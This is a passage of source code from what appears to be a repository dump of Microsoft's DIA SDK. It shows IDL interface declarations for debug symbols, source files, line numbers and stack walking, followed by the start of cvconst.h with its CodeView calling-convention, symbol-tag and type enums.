[in] DWORD length, [out] IDiaEnumLineNumbers** ppResult); HRESULT findInlineeLinesByVA( [in] ULONGLONG va, [in] DWORD length, [out] IDiaEnumLineNumbers** ppResult); HRESULT findSymbolsForAcceleratorPointerTag( [in] DWORD tagValue, [out] IDiaEnumSymbols** ppResult); HRESULT findSymbolsByRVAForAcceleratorPointerTag( [in] DWORD tagValue, [in] DWORD rva, [out] IDiaEnumSymbols** ppResult); HRESULT get_acceleratorPointerTags( [in] DWORD cnt, [out] DWORD *pcnt, [out, size_is(cnt)] DWORD *pPointerTags); HRESULT getSrcLineOnTypeDefn( [out] IDiaLineNumber** ppResult); PROPERTY_RO(BOOL, isPGO, 189, "is PGO enabled"); PROPERTY_RO(BOOL, hasValidPGOCounts, 190, "has valid PGO counts"); PROPERTY_RO(BOOL, isOptimizedForSpeed, 191, "is the function optimized for speed"); PROPERTY_RO(DWORD, PGOEntryCount, 192, "total invocation count in PGO training"); PROPERTY_RO(DWORD, PGOEdgeCount, 193, "edge count between a caller/callee and it's parent"); PROPERTY_RO(ULONGLONG, PGODynamicInstructionCount, 194, "dynamic instruction count calculated by training"); PROPERTY_RO(DWORD, staticSize, 195, "static instruction count"); PROPERTY_RO(DWORD, finalLiveStaticSize, 196, "final static size of live function, after inlining"); PROPERTY_RO(BSTR, phaseName, 197, "phase this function is a member of for PGO multiphased builds"); PROPERTY_RO(BOOL, hasControlFlowCheck, 198, "does this function contain control flow check"); PROPERTY_RO(BOOL, constantExport, 199, "export is CONSTANT"); PROPERTY_RO(BOOL, dataExport, 200, "export is CONSTANT"); PROPERTY_RO(BOOL, privateExport, 201, "export is PRIVATE"); PROPERTY_RO(BOOL, noNameExport, 202, "export is NONAME"); PROPERTY_RO(BOOL, exportHasExplicitlyAssignedOrdinal, 203, "export has explicitly assigned ordinal"); PROPERTY_RO(BOOL, exportIsForwarder, 204, "export is forwarder"); PROPERTY_RO(DWORD, ordinal, 205, "export ordinal"); PROPERTY_RO(DWORD, frameSize, 206, "frame size"); PROPERTY_RO(DWORD, exceptionHandlerAddressSection, 207, "section number of exception handler"); PROPERTY_RO(DWORD, exceptionHandlerAddressOffset, 208, "offset of exception handler"); PROPERTY_RO(DWORD, exceptionHandlerRelativeVirtualAddress, 209, "relative virtual address of exception handler"); PROPERTY_RO(ULONGLONG, exceptionHandlerVirtualAddress, 210, "virtual address of exception handler"); HRESULT findInputAssemblyFile( [out] IDiaInputAssemblyFile** ppResult); PROPERTY_RO(DWORD, characteristics, 211, "characteristics of a COFF group"); PROPERTY_RO(IDiaSymbol*, coffGroup, 212, "COFF group this symbol comes from"); PROPERTY_RO(DWORD, bindID, 213, "binding register index"); PROPERTY_RO(DWORD, bindSpace, 214, "binding space"); PROPERTY_RO(DWORD, bindSlot, 215, "binding lower bound"); }; [ object, uuid(611e86cd-b7d1-4546-8a15-070e2b07a427), local, helpstring("IDiaSymbol2 Interface"), pointer_default(unique) ] interface IDiaSymbol2 : IDiaSymbol { PROPERTY_RO(BOOL, isObjCClass, 216, "is objective-c class interface/implementation"); PROPERTY_RO(BOOL, isObjCCategory, 217, "is objective-c category"); PROPERTY_RO(BOOL, isObjCProtocol, 218, "is objective-c protocol"); }; [ object, uuid(99b665f7-c1b2-49d3-89b2-a384361acab5), local, helpstring("IDiaSymbol3 Interface"), pointer_default(unique) ] interface IDiaSymbol3 : IDiaSymbol2 { PROPERTY_RO(IDiaSymbol*, inlinee, 219, "inlinee"); PROPERTY_RO(DWORD, inlineeId, 220, "inlinee ID"); }; [ object, uuid(bf6c88a7-e9d6-4346-99a1-d053de5a7808), local, helpstring("IDiaSymbol4 Interface"), pointer_default(unique) ] interface IDiaSymbol4 : IDiaSymbol3 { PROPERTY_RO(BOOL, noexcept, 221, "noexcept"); }; [ object, uuid(abe2de00-dc2d-4793-af9a-ef1d90832644), local, helpstring("IDiaSymbol5 Interface"), pointer_default(unique) ] interface IDiaSymbol5 : IDiaSymbol4 { PROPERTY_RO(BOOL, hasAbsoluteAddress, 222, "absolute address"); }; [ object, uuid(8133dad3-75fe-4234-ac7e-f8e7a1d3cbb3), local, helpstring("IDiaSymbol6 Interface"), pointer_default(unique) ] interface IDiaSymbol6 : IDiaSymbol5 { PROPERTY_RO(BOOL, isStaticMemberFunc, 223, "static member function"); }; [ object, uuid(64ce6cd5-7315-4328-86d6-10e303e010b4), local, helpstring("IDiaSymbol7 Interface"), pointer_default(unique) ] interface IDiaSymbol7 : IDiaSymbol6 { PROPERTY_RO(BOOL, isSignRet, 224, "function signs return address"); }; [ object, uuid(7f2e041f-1294-41bd-b83a-e715972d2ce3), local, helpstring("IDiaSymbol8 Interface"), pointer_default(unique) ] interface IDiaSymbol8 : IDiaSymbol7 { PROPERTY_RO(DWORD, coroutineKind, 225, "coroutine function kind"); PROPERTY_RO(DWORD, associatedSymbolKind, 226, "associated symbol kind"); PROPERTY_RO(DWORD, associatedSymbolSection, 227, "associated symbol section"); PROPERTY_RO(DWORD, associatedSymbolOffset, 228, "associated symbol offset"); PROPERTY_RO(DWORD, associatedSymbolRva, 229, "associated symbol RVA"); PROPERTY_RO(ULONGLONG, associatedSymbolAddr, 230, "associated symbol VA"); }; [ object, uuid(a89e5969-92a1-4f8a-b704-00121c37abbb), local, helpstring("IDiaSymbol9 Interface"), pointer_default(unique) ] interface IDiaSymbol9 : IDiaSymbol8 { // stack frame padding is used for EnC (/ZI) PROPERTY_RO(DWORD, framePadSize, 231, "stack frame pad size"); PROPERTY_RO(DWORD, framePadOffset, 232, "stack frame pad offset"); // this property is currently used by the debugger to initialize the stack PROPERTY_RO(BOOL, isRTCs, 233, "compiled with runtime stack checks"); }; [ object, uuid(9034a70b-b0b7-4605-8a97-33772f3a7b8c), local, helpstring("IDiaSymbol10 Interface"), pointer_default(unique) ] interface IDiaSymbol10 : IDiaSymbol9 { HRESULT get_sourceLink( [in] DWORD cb, [out] DWORD *pcb, [out, size_is(cb)] BYTE *pb); }; // // SourceFiles // [ object, uuid(A2EF5353-F5A8-4eb3-90D2-CB526ACB3CDD), local, helpstring("IDiaSourceFile Interface"), pointer_default(unique) ] interface IDiaSourceFile: IUnknown { PROPERTY_RO( DWORD, uniqueId, 2, "Unique id for the source file (in this data store)." ); PROPERTY_RO( BSTR, fileName, 3, "." ); PROPERTY_RO( DWORD, checksumType, 4, "." ); PROPERTY_RO( IDiaEnumSymbols*, compilands, 5, "." ); HRESULT get_checksum( [in] DWORD cbData, [out] DWORD *pcbData, [out, size_is(cbData)] BYTE *pbData ); }; // // InputAssemblyFiles // [ object, uuid(3BFE56B0-390C-4863-9430-1F3D083B7684), local, helpstring("IDiaInputAssemblyFile Interface"), pointer_default(unique) ] interface IDiaInputAssemblyFile: IUnknown { PROPERTY_RO( DWORD, uniqueId, 1, "assembly file ID" ); PROPERTY_RO( DWORD, index, 2, "assembly file index"); PROPERTY_RO( DWORD, timestamp, 3, "time stamp"); PROPERTY_RO( BOOL, pdbAvailableAtILMerge, 4, "PDB is available at IL merge time" ); PROPERTY_RO( BSTR, fileName, 5, "assembly file name" ); HRESULT get_version( [in] DWORD cbData, [out] DWORD *pcbData, [out, size_is(cbData)] BYTE *pbData ); }; // // LineNumbers // [ object, uuid(B388EB14-BE4D-421d-A8A1-6CF7AB057086), local, helpstring("IDiaLineNumber Interface"), pointer_default(unique) ] interface IDiaLineNumber: IUnknown { PROPERTY_RO( IDiaSymbol*, compiland, 1, "." ); PROPERTY_RO( IDiaSourceFile*, sourceFile, 2, "." ); PROPERTY_RO( DWORD, lineNumber, 3, "." ); PROPERTY_RO( DWORD, lineNumberEnd, 4, "." ); PROPERTY_RO( DWORD, columnNumber, 5, "." ); PROPERTY_RO( DWORD, columnNumberEnd, 6, "." ); PROPERTY_RO( DWORD, addressSection, 7, "." ); PROPERTY_RO( DWORD, addressOffset, 8, "." ); PROPERTY_RO( DWORD, relativeVirtualAddress, 9, "." ); PROPERTY_RO( ULONGLONG, virtualAddress, 10, "." ); PROPERTY_RO( DWORD, length, 11, "." ); PROPERTY_RO( DWORD, sourceFileId, 12, "." ); PROPERTY_RO( BOOL, statement, 13, "." ); PROPERTY_RO( DWORD, compilandId, 14, "." ); }; // // SectionContributions // [ object, uuid(0CF4B60E-35B1-4c6c-BDD8-854B9C8E3857), local, helpstring("IDiaSectionContrib Interface"), pointer_default(unique) ] interface IDiaSectionContrib: IUnknown { PROPERTY_RO( IDiaSymbol*, compiland, 1, "." ); PROPERTY_RO( DWORD, addressSection, 2, "." ); PROPERTY_RO( DWORD, addressOffset, 3, "." ); PROPERTY_RO( DWORD, relativeVirtualAddress, 4, "." ); PROPERTY_RO( ULONGLONG, virtualAddress, 5, "." ); PROPERTY_RO( DWORD, length, 6, "." ); // 7 PROPERTY_RO( BOOL, notPaged, 8, "."); PROPERTY_RO( BOOL, code, 9, "."); PROPERTY_RO( BOOL, initializedData, 10, "."); PROPERTY_RO( BOOL, uninitializedData, 11, "."); PROPERTY_RO( BOOL, remove, 12, "."); PROPERTY_RO( BOOL, comdat, 13, "."); PROPERTY_RO( BOOL, discardable, 14, "."); PROPERTY_RO( BOOL, notCached, 15, "."); PROPERTY_RO( BOOL, share, 16, "."); PROPERTY_RO( BOOL, execute, 17, "."); PROPERTY_RO( BOOL, read, 18, "."); PROPERTY_RO( BOOL, write, 19, "."); PROPERTY_RO( DWORD, dataCrc, 20, "." ); PROPERTY_RO( DWORD, relocationsCrc, 21, "." ); PROPERTY_RO( DWORD, compilandId, 22, "." ); PROPERTY_RO( BOOL, code16bit, 23, "."); }; // // SegmentMap // [ object, uuid(0775B784-C75B-4449-848B-B7BD3159545B), local, helpstring("IDiaSegment Interface"), pointer_default(unique) ] interface IDiaSegment: IUnknown { PROPERTY_RO( DWORD, frame, 1, "Frame." ); PROPERTY_RO( DWORD, offset, 2, "Offset in physical section." ); PROPERTY_RO( DWORD, length, 3, "Length in bytes of segment." ); PROPERTY_RO( BOOL, read, 4, "Read allowed." ); PROPERTY_RO( BOOL, write, 5, "Write allowed." ); PROPERTY_RO( BOOL, execute, 6, "Execute allowed." ); PROPERTY_RO( DWORD, addressSection, 7, "." ); PROPERTY_RO( DWORD, relativeVirtualAddress, 8, "." ); PROPERTY_RO( ULONGLONG, virtualAddress, 9, "." ); }; // // InjectedSource // [ object, uuid(AE605CDC-8105-4a23-B710-3259F1E26112), local, helpstring("IDiaInjectedSource Interface"), pointer_default(unique) ] interface IDiaInjectedSource: IUnknown { PROPERTY_RO( DWORD, crc, 1, "CRC of source bytes." ); PROPERTY_RO( ULONGLONG, length, 2, "Length of source in bytes." ); PROPERTY_RO( BSTR, filename, 3, "Source filename." ); PROPERTY_RO( BSTR, objectFilename, 4, "Object filename." ); PROPERTY_RO( BSTR, virtualFilename, 5, "Virtual filename." ); PROPERTY_RO( DWORD, sourceCompression, 6, "Source compression algorithm." ); HRESULT get_source( [in] DWORD cbData, [out] DWORD *pcbData, [out, size_is(cbData)] BYTE *pbData ); }; // // Errors returned by IDiaFrameData::execute // enum { E_DIA_INPROLOG // cannot execute stack frame when in prolog =((HRESULT) (((unsigned long)(1)<<31) | ((unsigned long)(((LONG)0x6d))<<16) | ((unsigned long)(100))) ), E_DIA_SYNTAX, // error parsing frame program E_DIA_FRAME_ACCESS, // error accessing registers or memory E_DIA_VALUE, // error in computer a value (e.g., divide by zero) }; [ object, uuid(07C590C1-438D-4F47-BDCD-4397BC81AD75), local, helpstring("IDiaStackWalkFrame Interface"), pointer_default(unique) ] interface IDiaStackWalkFrame: IUnknown { PROPERTY_ARRAY_RW( ULONGLONG, DWORD, registerValue, 1, "Register value." ); HRESULT readMemory( [in] enum MemoryTypeEnum type, [in] ULONGLONG va, [in] DWORD cbData, [out] DWORD *pcbData, [out, size_is(cbData)] BYTE *pbData ); HRESULT searchForReturnAddress( [in] IDiaFrameData* frame, [out] ULONGLONG* returnAddress ); HRESULT searchForReturnAddressStart( [in] IDiaFrameData* frame, [in] ULONGLONG startAddress, [out] ULONGLONG* returnAddress ); }; [ object, uuid(A39184B7-6A36-42de-8EEC-7DF9F3F59F33), local, helpstring("IDiaFrameData Interface"), pointer_default(unique) ] interface IDiaFrameData: IUnknown { PROPERTY_RO( DWORD, addressSection, 2, "." ); PROPERTY_RO( DWORD, addressOffset, 3, "." ); PROPERTY_RO( DWORD, relativeVirtualAddress, 4, "." ); PROPERTY_RO( ULONGLONG, virtualAddress, 5, "." ); PROPERTY_RO( DWORD, lengthBlock, 6, "." ); PROPERTY_RO( DWORD, lengthLocals, 7, "." ); PROPERTY_RO( DWORD, lengthParams, 8, "." ); PROPERTY_RO( DWORD, maxStack, 9, "." ); PROPERTY_RO( DWORD, lengthProlog, 10, "." ); PROPERTY_RO( DWORD, lengthSavedRegisters, 11, "." ); PROPERTY_RO( BSTR, program, 12, "." ); PROPERTY_RO( BOOL, systemExceptionHandling, 13, "." ); PROPERTY_RO( BOOL, cplusplusExceptionHandling, 14, "." ); PROPERTY_RO( BOOL, functionStart, 15, "." ); PROPERTY_RO( BOOL, allocatesBasePointer, 16, "." ); PROPERTY_RO( DWORD, type, 17, "." ); PROPERTY_RO( IDiaFrameData*, functionParent, 18, "Frame data for enclosing function."); HRESULT execute( IDiaStackWalkFrame* frame ); } // // IDiaImageData // // Some debug streams (XDATA, PDATA) contain copies of data also stored in the image. The // stream data objects (IDiaEnumDebugStreamData) can be QI'ed for their IDiaImageData. [ object, uuid(C8E40ED2-A1D9-4221-8692-3CE661184B44), local, helpstring("IDiaImageData Interface"), pointer_default(unique) ] interface IDiaImageData: IUnknown { PROPERTY_RO( DWORD, relativeVirtualAddress, 2, "." ); PROPERTY_RO( ULONGLONG, virtualAddress, 3, "." ); PROPERTY_RO( ULONGLONG, imageBase, 4, "." ); } // // IDiaTable // Supports enumerating the members of the table // [ object, uuid(4A59FB77-ABAC-469b-A30B-9ECC85BFEF14), local, helpstring("IDiaTable Interface"), pointer_default(unique) ] interface IDiaTable: IEnumUnknown { PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, "IEnumVARIANT version of IDiaTable." ); PROPERTY_RO( BSTR, name, 1, "Table name." ); PROPERTY_RO( LONG, Count, 2, "Number of table entries." ); [id(0), helpstring("Return the table element for the given index.")] HRESULT Item([in] DWORD index, [out, retval]IUnknown **element); // ### IDispatch? }; [ object, uuid(C65C2B0A-1150-4d7a-AFCC-E05BF3DEE81E), local, helpstring("IDiaEnumTables Interface"), pointer_default(unique) ] interface IDiaEnumTables: IUnknown { PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, "IEnumVARIANT version of IDiaEnumTables." ); PROPERTY_RO( LONG, Count, 1, "Number of tables." ); [id(0), helpstring("Return the table for the given index or name.")] HRESULT Item([in] VARIANT index, [out, retval]IDiaTable **table); HRESULT Next( ULONG celt, IDiaTable ** rgelt, ULONG * pceltFetched ); HRESULT Skip( [in] ULONG celt); HRESULT Reset(); HRESULT Clone( [out] IDiaEnumTables **ppenum); }; [ uuid(106173A0-0173-4e5c-84E7-E915422BE997), version(2.0), helpstring("dia 2.0 Type Library") ] library Dia2Lib { importlib("stdole2.tlb"); [ uuid(e6756135-1e65-4d17-8576-610761398c3c), helpstring("DiaSource Class") ] coclass DiaSource { [default] interface IDiaDataSource; }; // // DiaSourceAlt - a DiaDataSource object that does not use the system heap. // // A process may either make DiaSourceAlt objects or DiaSource objects, but not both. // When using DiaSourceAlt all returned BSTR's are really LPCOLESTR and should not be // used with other BSTR management routines, in particular they must be released using // LocalFree( bstr ) [ uuid(91904831-49ca-4766-b95c-25397e2dd6dc), helpstring("Local Heap DiaSource Class") ] coclass DiaSourceAlt { [default] interface IDiaDataSource; }; // General stack walking API [ uuid(ce4a85db-5768-475b-a4e1-c0bca2112a6b), helpstring("General Stackwalk Class") ] coclass DiaStackWalker { [default] interface IDiaStackWalker; }; interface IDiaSectionContrib; interface IDiaEnumSectionContribs; interface IDiaSymbol10; interface IDiaEnumSymbolsByAddr2; }; // // DebugInfoTable // // Each id identifies an underlying table of debug information // const LPOLESTR DiaTable_Symbols = L"Symbols"; const LPOLESTR DiaTable_Sections = L"Sections"; const LPOLESTR DiaTable_SrcFiles = L"SourceFiles"; const LPOLESTR DiaTable_LineNums = L"LineNumbers"; const LPOLESTR DiaTable_SegMap = L"SegmentMap"; const LPOLESTR DiaTable_Dbg = L"Dbg"; const LPOLESTR DiaTable_InjSrc = L"InjectedSource"; const LPOLESTR DiaTable_FrameData = L"FrameData"; const LPOLESTR DiaTable_InputAssemblyFiles = L"InputAssemblyFiles"; // Generic property broweser interface. [ object, uuid(9d416f9c-e184-45b2-a4f0-ce517f719e9b), local, helpstring("IDiaPropertyStorage Interface"), pointer_default(unique) ] interface IDiaPropertyStorage: IUnknown { HRESULT ReadMultiple( [in] ULONG cpspec, // Count of properties being read [in, size_is(cpspec)] PROPSPEC const *rgpspec, // Array of the properties to be read [out, size_is(cpspec)]PROPVARIANT *rgvar // Array of PVARIANTs containing // the property values on return ); HRESULT ReadPropertyNames( [in] ULONG cpropid, // Number of elements in rgpropid [in, size_is( cpropid )] PROPID const *rgpropid, // Property identifiers for // which names are to be retrieved [in,out, size_is( cpropid )] BSTR *rglpwstrName // Array of returned string names ); HRESULT Enum( [out] IEnumSTATPROPSTG **ppenum //Pointer to output variable // that receives the IEnumPROPSPEC // interface pointer ); HRESULT ReadDWORD( [in] PROPID id, // property to be read [out] DWORD* pValue // the property value on return ); HRESULT ReadLONG( [in] PROPID id, // property to be read [out] LONG* pValue // the property value on return ); HRESULT ReadBOOL( [in] PROPID id, // property to be read [out] BOOL* pValue // the property value on return ); HRESULT ReadULONGLONG( [in] PROPID id, // property to be read [out] ULONGLONG* pValue // the property value on return ); HRESULT ReadBSTR( [in] PROPID id, // property to be read [out] BSTR* pValue // the property value on return ); } [ object, uuid(5edbc96d-cdd6-4792-afbe-cc89007d9610), local, helpstring("IDiaStackFrame Interface"), pointer_default(unique) ] interface IDiaStackFrame: IUnknown { PROPERTY_RO( DWORD, type, 1, "type" ); PROPERTY_RO( ULONGLONG, base, 2, "Base of the stack frame" ); PROPERTY_RO( DWORD, size, 3, "size of frame in bytes" ); PROPERTY_RO( ULONGLONG, returnAddress, 4, "return address of the frame" ); PROPERTY_RO( ULONGLONG, localsBase, 5, "base of locals" ); PROPERTY_RO( DWORD, lengthLocals, 6, "cbLocals" ); PROPERTY_RO( DWORD, lengthParams, 7, "cbParams" ); PROPERTY_RO( DWORD, lengthProlog, 8, "cbProlog" ); PROPERTY_RO( DWORD, lengthSavedRegisters, 9, "cbSavedRegs" ); PROPERTY_RO( BOOL, systemExceptionHandling, 10, "fHasSEH" ); PROPERTY_RO( BOOL, cplusplusExceptionHandling, 11, "fHasEH" ); PROPERTY_RO( BOOL, functionStart, 12, "funcStart" ); PROPERTY_RO( BOOL, allocatesBasePointer, 13, "fUsesBP" ); PROPERTY_RO( DWORD, maxStack, 14, "maxStack" ); PROPERTY_ARRAY_RO( ULONGLONG, DWORD, registerValue, 15, "Register value." ); } [ object, uuid(ec9d461d-ce74-4711-a020-7d8f9a1dd255), local, helpstring("IDiaEnumStackFrames Interface"), pointer_default(unique) ] interface IDiaEnumStackFrames: IUnknown { HRESULT Next( [in] ULONG celt, [out] IDiaStackFrame ** rgelt, [out] ULONG * pceltFetched ); HRESULT Reset(); } typedef struct { DWORD ulOffStart; // offset 1st byte of function code DWORD cbProcSize; // # bytes in function DWORD cdwLocals; // # bytes in locals/4 WORD cdwParams; // # bytes in params/4 WORD cdwFlags; // Following stuff ... /* WORD cbProlog : 8; // # bytes in prolog WORD cbRegs : 3; // # regs saved WORD fHasSEH : 1; // TRUE if SEH in func WORD fUseBP : 1; // TRUE if EBP has been allocated WORD reserved : 1; // reserved for future use WORD cbFrame : 2; // frame type */ } FPODATA; [ object, uuid(21F81B1B-C5BB-42A3-BC4F-CCBAA75B9F19), local, helpstring("IDiaStackWalkHelper Interface"), pointer_default(unique) ] interface IDiaStackWalkHelper: IUnknown { PROPERTY_ARRAY_RW( ULONGLONG, DWORD, registerValue, 1, "Register value." ); HRESULT readMemory( // Read memory for DIA [in] enum MemoryTypeEnum type, [in] ULONGLONG va, [in] DWORD cbData, [out] DWORD *pcbData, [out, size_is(cbData)] BYTE *pbData ); HRESULT searchForReturnAddress( // search return address for DIA, return E_NOTIMPL to use DIA default [in] IDiaFrameData* frame, [out] ULONGLONG* returnAddress ); HRESULT searchForReturnAddressStart( // search return address for DIA, return E_NOTIMPL to use DIA default [in] IDiaFrameData* frame, [in] ULONGLONG startAddress, [out] ULONGLONG* returnAddress ); HRESULT frameForVA( // Get frame data for this address [in] ULONGLONG va, [out] IDiaFrameData **ppFrame ); HRESULT symbolForVA( // Get symbol at this address, must be a SymTagFunctionType! [in] ULONGLONG va, [out] IDiaSymbol **ppSymbol ); HRESULT pdataForVA( // Get PDATA for this address [in] ULONGLONG va, [in] DWORD cbData, [out] DWORD *pcbData, [out, size_is(cbData)] BYTE *pbData ); HRESULT imageForVA( // Get information about an image [in] ULONGLONG vaContext, // An address in the image [out] ULONGLONG *pvaImageStart // Beginning of the image ); HRESULT addressForVA( [in] ULONGLONG va, [out] DWORD* pISect, [out] DWORD* pOffset ); HRESULT numberOfFunctionFragmentsForVA( [in] ULONGLONG vaFunc, [in] DWORD cbFunc, [out] DWORD* pNumFragments ); HRESULT functionFragmentsForVA( [in] ULONGLONG vaFunc, [in] DWORD cbFunc, [in] DWORD cFragments, [out] ULONGLONG *pVaFragment, [out] DWORD *pLenFragment ); } [ object, uuid(5485216b-a54c-469f-9670-52b24d5229bb), local, helpstring("IDiaStackWalker Interface"), pointer_default(unique) ] interface IDiaStackWalker: IUnknown { HRESULT getEnumFrames( // Gives you frame enumerator for x86 [in] IDiaStackWalkHelper *pHelper, [out] IDiaEnumStackFrames **ppEnum ); HRESULT getEnumFrames2( // Gives frame enumerator for processor specified by dwMachineId [in] enum CV_CPU_TYPE_e cpuid, [in] IDiaStackWalkHelper *pHelper, [out] IDiaEnumStackFrames **ppEnum ); } [ object, uuid(8222c490-507b-4bef-b3bd-41dca7b5934c), local, helpstring("IDiaStackWalkHelper Interface"), pointer_default(unique) ] interface IDiaStackWalkHelper2 : IDiaStackWalkHelper { } [ object, uuid(7c185885-a015-4cac-9411-0f4fb39b1f3a), local, helpstring("IDiaStackWalker2 Interface"), pointer_default(unique) ] interface IDiaStackWalker2 : IDiaStackWalker { } ================================================ FILE: DIA/inc/msdia/include/cvconst.h ================================================ // cvconst.h - codeview constant definitions //----------------------------------------------------------------- // // Copyright Microsoft Corporation. All Rights Reserved. // //--------------------------------------------------------------- #ifndef _CVCONST_H_ #define _CVCONST_H_ // Enumeration for function call type typedef enum CV_call_e { CV_CALL_NEAR_C = 0x00, // near right to left push, caller pops stack CV_CALL_FAR_C = 0x01, // far right to left push, caller pops stack CV_CALL_NEAR_PASCAL = 0x02, // near left to right push, callee pops stack CV_CALL_FAR_PASCAL = 0x03, // far left to right push, callee pops stack CV_CALL_NEAR_FAST = 0x04, // near left to right push with regs, callee pops stack CV_CALL_FAR_FAST = 0x05, // far left to right push with regs, callee pops stack CV_CALL_SKIPPED = 0x06, // skipped (unused) call index CV_CALL_NEAR_STD = 0x07, // near standard call CV_CALL_FAR_STD = 0x08, // far standard call CV_CALL_NEAR_SYS = 0x09, // near sys call CV_CALL_FAR_SYS = 0x0a, // far sys call CV_CALL_THISCALL = 0x0b, // this call (this passed in register) CV_CALL_MIPSCALL = 0x0c, // Mips call CV_CALL_GENERIC = 0x0d, // Generic call sequence CV_CALL_ALPHACALL = 0x0e, // Alpha call CV_CALL_PPCCALL = 0x0f, // PPC call CV_CALL_SHCALL = 0x10, // Hitachi SuperH call CV_CALL_ARMCALL = 0x11, // ARM call CV_CALL_AM33CALL = 0x12, // AM33 call CV_CALL_TRICALL = 0x13, // TriCore Call CV_CALL_SH5CALL = 0x14, // Hitachi SuperH-5 call CV_CALL_M32RCALL = 0x15, // M32R Call CV_CALL_CLRCALL = 0x16, // clr call CV_CALL_INLINE = 0x17, // Marker for routines always inlined and thus lacking a convention CV_CALL_NEAR_VECTOR = 0x18, // near left to right push with regs, callee pops stack CV_CALL_SWIFT = 0x19, // Swift calling convention CV_CALL_RESERVED = 0x20 // first unused call enumeration // Do NOT add any more machine specific conventions. This is to be used for // calling conventions in the source only (e.g. __cdecl, __stdcall). } CV_call_e; // Values for the access protection of class attributes typedef enum CV_access_e { CV_private = 1, CV_protected = 2, CV_public = 3 } CV_access_e; typedef enum THUNK_ORDINAL { THUNK_ORDINAL_NOTYPE, // standard thunk THUNK_ORDINAL_ADJUSTOR, // "this" adjustor thunk THUNK_ORDINAL_VCALL, // virtual call thunk THUNK_ORDINAL_PCODE, // pcode thunk THUNK_ORDINAL_LOAD, // thunk which loads the address to jump to // via unknown means... // trampoline thunk ordinals - only for use in Trampoline thunk symbols THUNK_ORDINAL_TRAMP_INCREMENTAL, THUNK_ORDINAL_TRAMP_BRANCHISLAND, THUNK_ORDINAL_TRAMP_STRICTICF, THUNK_ORDINAL_TRAMP_ARM64XSAMEADDRESS, THUNK_ORDINAL_TRAMP_FUNCOVERRIDING, } THUNK_ORDINAL; enum CV_SourceChksum_t { CHKSUM_TYPE_NONE = 0, // indicates no checksum is available CHKSUM_TYPE_MD5, CHKSUM_TYPE_SHA1, CHKSUM_TYPE_SHA_256, }; // // DIA enums // enum SymTagEnum { SymTagNull, SymTagExe, SymTagCompiland, SymTagCompilandDetails, SymTagCompilandEnv, SymTagFunction, SymTagBlock, SymTagData, SymTagAnnotation, SymTagLabel, SymTagPublicSymbol, SymTagUDT, SymTagEnum, SymTagFunctionType, SymTagPointerType, SymTagArrayType, SymTagBaseType, SymTagTypedef, SymTagBaseClass, SymTagFriend, SymTagFunctionArgType, SymTagFuncDebugStart, SymTagFuncDebugEnd, SymTagUsingNamespace, SymTagVTableShape, SymTagVTable, SymTagCustom, SymTagThunk, SymTagCustomType, SymTagManagedType, SymTagDimension, SymTagCallSite, SymTagInlineSite, SymTagBaseInterface, SymTagVectorType, SymTagMatrixType, SymTagHLSLType, SymTagCaller, SymTagCallee, SymTagExport, SymTagHeapAllocationSite, SymTagCoffGroup, SymTagInlinee, SymTagMax }; enum LocationType { LocIsNull, LocIsStatic, LocIsTLS, LocIsRegRel, LocIsThisRel, LocIsEnregistered, LocIsBitField, LocIsSlot, LocIsIlRel, LocInMetaData, LocIsConstant, LocIsRegRelAliasIndir, LocTypeMax }; enum DataKind { DataIsUnknown, DataIsLocal, DataIsStaticLocal, DataIsParam, DataIsObjectPtr, DataIsFileStatic, DataIsGlobal, DataIsMember, DataIsStaticMember, DataIsConstant }; enum UdtKind { UdtStruct, UdtClass, UdtUnion, UdtInterface }; enum BasicType { btNoType = 0, btVoid = 1, btChar = 2, btWChar = 3, btInt = 6, btUInt = 7, btFloat = 8, btBCD = 9, btBool = 10, btLong = 13, btULong = 14, btCurrency = 25, btDate = 26, btVariant = 27, btComplex = 28, btBit = 29, btBSTR = 30, btHresult = 31, btChar16 = 32, // char16_t btChar32 = 33, // char32_t btChar8 = 34, // char8_t }; // enumeration for type modifier values typedef enum CV_modifier_e { // 0x0000 - 0x01ff - Reserved. CV_MOD_INVALID = 0x0000, // Standard modifiers. CV_MOD_CONST = 0x0001, CV_MOD_VOLATILE = 0x0002, CV_MOD_UNALIGNED = 0x0003, // 0x0200 - 0x03ff - HLSL modifiers. CV_MOD_HLSL_UNIFORM = 0x0200, CV_MOD_HLSL_LINE = 0x0201, CV_MOD_HLSL_TRIANGLE = 0x0202, CV_MOD_HLSL_LINEADJ = 0x0203, CV_MOD_HLSL_TRIANGLEADJ = 0x0204, CV_MOD_HLSL_LINEAR = 0x0205, CV_MOD_HLSL_CENTROID = 0x0206, CV_MOD_HLSL_CONSTINTERP = 0x0207, CV_MOD_HLSL_NOPERSPECTIVE = 0x0208, CV_MOD_HLSL_SAMPLE = 0x0209, CV_MOD_HLSL_CENTER = 0x020a, CV_MOD_HLSL_SNORM = 0x020b, CV_MOD_HLSL_UNORM = 0x020c, CV_MOD_HLSL_PRECISE = 0x020d, CV_MOD_HLSL_UAV_GLOBALLY_COHERENT = 0x020e, // 0x0400 - 0xffff - Unused. } CV_modifier_e; // built-in type kinds typedef enum CV_builtin_e { // 0x0000 - 0x01ff - Reserved. CV_BI_INVALID = 0x0000, // 0x0200 - 0x03ff - HLSL types. CV_BI_HLSL_INTERFACE_POINTER = 0x0200, CV_BI_HLSL_TEXTURE1D = 0x0201, CV_BI_HLSL_TEXTURE1D_ARRAY = 0x0202, CV_BI_HLSL_TEXTURE2D = 0x0203, CV_BI_HLSL_TEXTURE2D_ARRAY = 0x0204, CV_BI_HLSL_TEXTURE3D = 0x0205, CV_BI_HLSL_TEXTURECUBE = 0x0206, CV_BI_HLSL_TEXTURECUBE_ARRAY = 0x0207, CV_BI_HLSL_TEXTURE2DMS = 0x0208, CV_BI_HLSL_TEXTURE2DMS_ARRAY = 0x0209, CV_BI_HLSL_SAMPLER = 0x020a, CV_BI_HLSL_SAMPLERCOMPARISON = 0x020b, CV_BI_HLSL_BUFFER = 0x020c, CV_BI_HLSL_POINTSTREAM = 0x020d, CV_BI_HLSL_LINESTREAM = 0x020e, CV_BI_HLSL_TRIANGLESTREAM = 0x020f, CV_BI_HLSL_INPUTPATCH = 0x0210, CV_BI_HLSL_OUTPUTPATCH = 0x0211, CV_BI_HLSL_RWTEXTURE1D = 0x0212, CV_BI_HLSL_RWTEXTURE1D_ARRAY = 0x0213, CV_BI_HLSL_RWTEXTURE2D = 0x0214, CV_BI_HLSL_RWTEXTURE2D_ARRAY = 0x0215, CV_BI_HLSL_RWTEXTURE3D = 0x0216, 